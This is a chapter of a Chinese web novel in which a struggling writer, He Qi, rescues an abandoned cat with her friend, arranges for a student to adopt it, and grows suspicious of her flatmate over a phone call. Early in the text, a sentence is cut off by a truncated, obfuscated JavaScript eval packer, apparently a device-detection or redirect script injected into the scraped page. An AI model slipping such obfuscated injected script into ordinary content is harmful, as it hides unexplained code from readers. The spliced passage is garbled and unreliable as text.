一个月啊,何漆单手托着腮想。 在等待结果的日子里,她依旧大量地阅读相关书籍,每天蹲在电脑前把灵感变成具体的文字,然而其中很大一部分并不能成为完整的故事,被当作废稿淹没在了各种文档里。 不过也有那么两三篇是比较满意的,被她坚持不懈地投往回声出版社。 意料之外,大概一周后,何漆就收到了回信。 那时她刚从楼下吃完早餐上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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何漆不拘这小节,备受鼓舞,花了半小时在旋转椅上独自消化这个喜讯,然后又马不停蹄地投入阅读和创作之中。 洛洛说二审起码要半个月才能出结果,何漆便尽力将其抛在脑后,全当没有这回事,省的每天提心吊胆,还是照旧吃饭看书写文投稿睡觉。 随着文档的数量越积越多,她的写作速度肉眼可见地增快,每个故事的字数以及完整度也逐步提高。 她没日没夜地待在书房里,有时候走去客厅看到陈津,都不知道他是什么时候回的家,两人同住一屋檐下,结果忙得一天连话都说不上几句。 距离发烧那事儿已经过去了半个月,李家佳被工作折磨得半死不活,好不容易凑出个整天的假,叫何漆去她那儿一起吃火锅。 反正陈津天黑前也不回家,何漆便爽快地答应下来,提前去超市买了一大袋子的食材和调料,打车到李家佳小区。 刚跟保安打过招呼,熟门熟路地进去,耳边就猝不及防响起李家佳中气十足、怒不可遏的骂声。 “丫的!你这种人就等着出门被车撞死吧!” 13. 第 13 章 何漆吓一跳,在原地顿了顿,眯着眼仔细瞧过去,看到一栋陌生单元楼下站着一男一女,两人都怒气冲冲的,正指着鼻子互骂。 她生怕李家佳跟那男的动起手来会吃亏,两条腿拔得飞快,手里的袋子险些甩出去。 “什么情况!干什么呢!”何漆还没跑到跟前就开始大声吓唬人,借嗓子给她和李家佳涨涨气势。 那两人回过头来看她。 其中的男人烫着一头枯草似的卷毛,满脸凶相,骂骂咧咧:“他妈的,多管什么闲事!” 李家佳看到何漆来了,立即把指头戳到那男的脸上,嚷嚷着告状:“这傻逼把自家宠物猫拿出来,要丢在小区里!” 何漆走近了,在李家佳身边站定,果见两人脚边放着个航空箱,箱里头蜷着一只英短蓝猫。 她蹲下身确认那蓝猫的状态,看起来倒还健康,冲人警惕地叫了两声,没有明显残缺。 “弃养?”何漆站起身,态度冷静地问那男人。 卷毛则不耐地挠了挠头,开口前又是一串脏词:“我放只猫到底跟你们有什么关系?你家住海边管这么宽?” “弃养你还特有理?□□个狗爹养的!”李家佳夺过何漆手里的袋子,抡圆了往男人身上打,又跟他一通对喷,完全没落下风。 眼见动静越来越大,男的似乎还要动手,何漆拿出手机先开录音,又拨了110,但没打出去,举着屏幕挡在两人中间。 她问:“这猫生病了?” “靠!健康得很!还花了老子千百块给它绝育!” 何漆看他不像说谎,不解地问:“那为什么不养了?” 卷毛愤怒地一脚踹在航空箱上,蓝猫受惊地嘶叫了两声,李家佳立马蹲下身,把航空箱往自己这儿拉。 “他妈的是我前女友养的!现在分手了!还把这死猫留我这儿,我不丢还要供着它?” 何漆弄清事情因果,收了手机,录音没关,仍防备地盯着他:“你确定你前女友不养了?” “养个屁!”卷毛骂完,随后又变脸似的摆出一副笑,嘲讽道,“两位正义使者,爱猫女士,你们要心疼就拿走养啊,我不收你们的钱,当交个朋友。” 李家佳气血上头,又要挥拳头,被何漆拦住。 她冷静地指了指一旁的监控,对男人道:“可以,我们把猫拿走处理,但以后你也别想把它再要回来或者讹我们,监控都拍着。” 卷毛扯了扯嘴角露出个冷笑:“原来就是想白嫖只猫啊,装得多高尚。” 说完他便双手插兜地走回单元楼。 “我□□个死人渣!”李家佳骂得急眼,见人消失在视野里,还对何漆道,“你放开我,看我怎么弄死这种不知好歹的人。” 何漆无奈地拍拍她的额头:“女侠,你不是遵纪守法好公民吗?我告诉你,弃养猫不犯法,但打人犯法,他要弃养没人拦得住他,你要打人警察就得请你喝茶了。” 李家佳闻言一下蔫巴了,往那单元楼里狠狠瞪了一眼,随后像是觉得愧疚,一手拎购物袋,一手拎航空箱,半点不让何漆拿,可怜巴巴地问:“这猫怎么办啊?” “你养?”何漆瞥她一眼。 “我养自己都费劲。” 何漆深吸口气,想说她两句,最后被她无辜的眼神打败:“陈津对猫毛轻微过敏。待会问问附近的宠物医院或者宠物店吧,大不了垫点钱算寄养。” 李家佳觉得这方法可行。她向来想一出是一出,情绪来得快去得也快,眼下把自己当作拯救可怜小猫的大英雄,从不会去想凭什么别人弃养花钱却是自己。 “小可怜,先去我家玩会儿吧!” 李家佳是独居,房子的面积比何漆那儿稍小一点,但一个人住绝对是绰绰有余。 她提早就把火锅的食材和锅底准备好,刚刚下楼原本是要去接何漆,阴差阳错来了那么一遭,此刻正整理着何漆带来的东西。 “你怎么买那么多?咱俩吃三天也吃不完。” 厨房里传来李家佳的声音,何漆刚联系了附近几家宠物店,一边等回复一边隔着航空箱逗弄蓝猫,怕它应激,还没将金属门打开。 “其实也没什么,就一点饮料比较占地方,多的放着呗,下次来吃。” 李家佳拿出里头的饮料:“我说怎么刚刚往人渣身上抡的那下那么扎实。” 何漆皱着眉,无可奈何地笑了笑,打开相机对着蓝猫拍了张实况照片,发到朋友圈,配文“小可怜”。 不少摸鱼的前同事给她点赞,张心怡评论“小可爱”,方翊的名字也出现在了点赞区,何漆这才想起已经很久没和他联系,连上次说好的帮忙谢礼也因为忙碌的写作而忘却了。 方翊在评论区问:姐姐养猫了? 何漆回复:不是,别人弃养的。 没过两秒,方翊就来直接私聊她。 「姐姐,那只猫是别人弃养的?找到领养的人了吗?」 「还没有,我刚问了几家宠物店,都说不收。」 「我想领养它。」 李家佳把装盘的羊肉卷拿出来摆在餐桌上,说可以开饭了,何漆一边应好一边站起来,表情严肃地回复方翊的消息。 「你认真的?养宠物很麻烦,而且你还是学生,不要心血来潮做决定,它的上个主人就没有责任心。」 何漆发完后去洗了个手,在餐桌前坐下,放了点蔬菜进火锅,告诉李家佳:“我刚刚给猫拍照发了朋友圈,方翊说想领养。” 李家佳听完露出同样觉得不靠谱的表情:“他能行吗?别是想表现一下自己,领养也得找个负责的。” 何漆点点头,虽不愿多揣测什么,但也下意识认为方翊不是个好选择,只能边涮边等他的消息。 好半晌,手机“噔”一声响,对面总算有了下文。 李家佳听见动静瞄过去一眼,却见何漆缓缓放下了筷子,拿起手机,神情专注。 「姐姐,我现在在同大附近租房子住,开车三五分钟就能到学校,周一和周三课比较多,但总体时间还是挺充裕,平时能多陪小猫,之前家里也有只布偶,和我从小一起长大,十五岁的时候去世,所以我有养猫的经验,放假了也会把它带回宁市。如果姐姐还是不放心的话,可以随时回访我,我是真心想养它。」 何漆认真看完,疑虑已经打消了大半,将小猫的情况如实告知。 「它外观看起来正常,弃养的主人说已经绝育且健康,但我还没带去医院检查过,不排除是生了重病或者性格不好所以被丢弃的可能。」 方翊回复得很笃定。 「我可以负担。」 何漆看完不再说什么,直接把手机递给了对面的李家佳,让她一起做决定。 “我收回先前的话,他这看起来还挺负责的。”李家佳咬着筷子头,明显被方翊的理由打动。 “那就让他养?”何漆问。 李家佳没意见,把手机还了回去。 何漆问方翊什么时候能把猫带走,方翊说明天行吗,今晚去把小猫要用的东西都置办好,明天下午没课,可以把猫接走直接去宠物医院体检。 何漆说行,又和李家佳商讨“小可怜”今晚住在哪。 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“不是。”何漆怕离得这么近会有猫毛惹陈津过敏,先弯腰把航空箱尽量放远,简单解释,“李家佳小区有人弃养,正好方翊看到我朋友圈说想领养,就在我房间放一晚,明天中午带给他,还有上次他帮忙的事儿,我打算顺便请他吃顿饭。” 陈津一时没说话,房间里的蓝猫似乎对新环境感到害怕,试探地叫了几声,何漆听见立刻拿着猫粮进屋,然后蹲下身,倒了点在航空箱前的地板上。 陈津站在门口处,显然顾忌着什么没有进来,居高临下地看着何漆安抚小猫的样子,好几次欲言又止,最后只问:“想好去哪儿吃饭了吗?” 何漆摇摇头:“看他想吃什么吧。” “我陪你一起?”陈津问。 “你不上班?”何漆小心地碰了碰蓝猫的下巴,反问。 “可以请一个中午的假。” “算了吧,那么麻烦。”何漆说,“他年纪小,我们两个一起去恐怕他压力很大。” 说着,她把临时猫砂盆收拾出来,又把金属门打开一半,看到空气里飘浮着几根细小的猫毛,皱眉对陈津道:“你别站在这儿了,这猫好像有点掉毛。” 陈津闷闷地应了一声,又在原地立了会儿才离开。 蓝猫已经吃了何漆买的小半包猫粮,但还是躲在航空箱里不愿出来,她怕猫渴,打算去厨房拿瓶矿泉水。 出房间时路过客厅,陈津人不在,但电视却开着,他的手机也放在沙发扶手上。 何漆好心想帮他把电视暂停,刚走近,沙发上的手机却有所感应般响起来,她垂眸一看,来电备注显示为“何漆母亲”。 她眼皮狠狠一跳。 与此同时,陈津的卧室里传来脚步声,不知怎的,何漆下意识紧张起来,竟假装什么也没看到,快步走进厨房。 从柜子里取出矿泉水后,何漆听到客厅里隐约传来讲电话的声音。 她胡思乱想地缓缓走出去,路过客厅时陈津看过来一眼,手机被他放在耳边,神情并没有什么异常,嘴里还说着“嗯”、“好”之类的应词。 何漆疑惑,徐燕到底有什么事不跟自己说,反而要打电话给陈津?她最近经常跟陈津联系?陈津在答应她什么事? 越想心里越糟乱,等陈津挂断电话后,她几乎脱口而出:“谁的电话?” 陈津转过头来发现她竟然还没回房间,怀里抱着一瓶水和一个软垫,他目光淡淡收回去,平静地答:“一个同事。”